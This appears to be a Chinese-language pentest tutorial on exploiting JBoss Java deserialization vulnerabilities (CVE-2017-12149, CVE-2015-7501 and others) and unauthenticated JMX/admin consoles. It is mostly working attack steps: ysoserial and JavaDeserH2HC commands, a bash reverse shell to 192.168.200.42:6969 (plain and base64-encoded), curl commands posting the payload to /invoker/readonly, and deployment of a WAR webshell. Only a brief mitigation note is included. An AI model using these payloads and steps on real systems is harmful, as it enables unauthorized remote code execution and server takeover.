文章目录
反序列化
-
工具JavaDeserH2HC
下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com) -
使用ysoseriall和CommonsCollections5来生成序列化数据
下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com) -
一个是jboss全反序列化漏洞检测的,使用方法就不介绍了,全中文+图形界面
下载地址:https://cdn.vulhub.org/deserialization/DeserializeExploit.jar -
JexBoss工具,可以用来检测弱口令和反序列化
下载地址:joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool (github.com)
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
该漏洞存在于http invoker组件的ReadOnlyAccessFilter的doFilter中,在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化
漏洞验证:
访问:8080/invoker/readonly
,页面返回状态码500说明存在漏洞
使用JavaDeserH2HC攻击
使用工具JavaDeserH2HC
下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)
首先先设置监听
然后使用刚才下载的工具进行反弹shell
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
//生成序列化数据
ReverseShellCommonsCollectionsHashMap.ser java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 监听ip:端口
//以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包
curl http://靶机ip:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
注意:win主机.; linux.:
这是可以看到反弹shell了
使用ysoserial反弹Shell
其实原理和上面的方法是一样的,就是生成一个序列化的数据然后发送报文,让其自动反序列化,只不过反弹的语句可控
将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
命令
bash -i >& /dev/tcp/192.168.200.42/6969 0>&1
序列化
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser
然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听
curl http://192.168.200.42:8080/invoker/readonly --data-binary @hack.ser
最后针对此漏洞再推荐几个脚本:
yunxu1/jboss-_CVE-2017-12149: CVE-2017-12149 jboss反序列化 可回显 (github.com)
sevck/CVE-2017-12149: CVE-2017-12149 JBOSS as 6.X反序列化(反弹shell版) (github.com)
防护
-
删除http-invoker.sar组件,路径如下jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
-
升级JBoss
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
原理其实和上面的差不多,流程也差不多
原理
JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响版本
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
漏洞验证
访问:8080/invoker/JMXInvokerServlet
,返回如下页面(下载文件),说明接口开放,此接口存在反序列化漏洞。设置好监听,用来接收shell
以下步骤和CVE-2017-12149步骤一样
Boss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
适用范围:
Jboss AS 4.x及之前版本
漏洞验证:
访问/jbossmq-httpil/HTTPServerILServlet
,出现以下页面代表存在漏洞
利用步骤同上
JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)
影响版本:
jboss 6.x 版本
漏洞验证:
访问/invoker/EJBInvokerServlet
,如果如下图所示代表存在此漏洞
步骤同上
Jboss未授权访问漏洞合集
JBoss 4
打开控制台
密码文件:server/default/conf/props/jmx-console-users.properties
进入控制台后找到
打开后找到addurl栏,这里有两个栏,一个是java.net.url,另一个是java.net.string,似乎不管是那个都可以
打war包
jar -cvf war包 目标文件名
使用python启动一个http服务
python -m http.server
访问一下能够访问到
点击invoke后显示
返回之后可以看到部署的物理位置
访问一下可以访问到,证明已经上传成功
理论上如果成功上传后,在控制台页面的jboss.web.deployment会显示包
如果部署成功,就可以打开包页面,假设刚才上传的包名为shell.war,所以要打开:8080/shell/,然后就会看到包里面的内容,如果里面有一个名为hack.jsp的木马,那么我们就可以打开:8080/shell/hack.jsp,然后连接即可
Jboss6
流程和4差不多,只不过页面不一样了
搭建完后打开,同样打开JMX Cpnsole
密码文件路径:/server/default/conf/props/jbossws-users.properties
然后把页面拉到最下面,找到两个deploy的标签,在框内输入war包的地址,然后点击invoke
然后和jboss4一样访问页面即可
JBoss Administration Console
首先打开Administration Console
登入后打开Web Application (WAR) 页面,上传恶意WAR包
上传成功后查看一下上传的包是否正常开启,默认是正常开启
如果不开启则要手动开启
然后访问8080/hack/hack.jsp即可,路径为war内文件名
msf成功反弹shell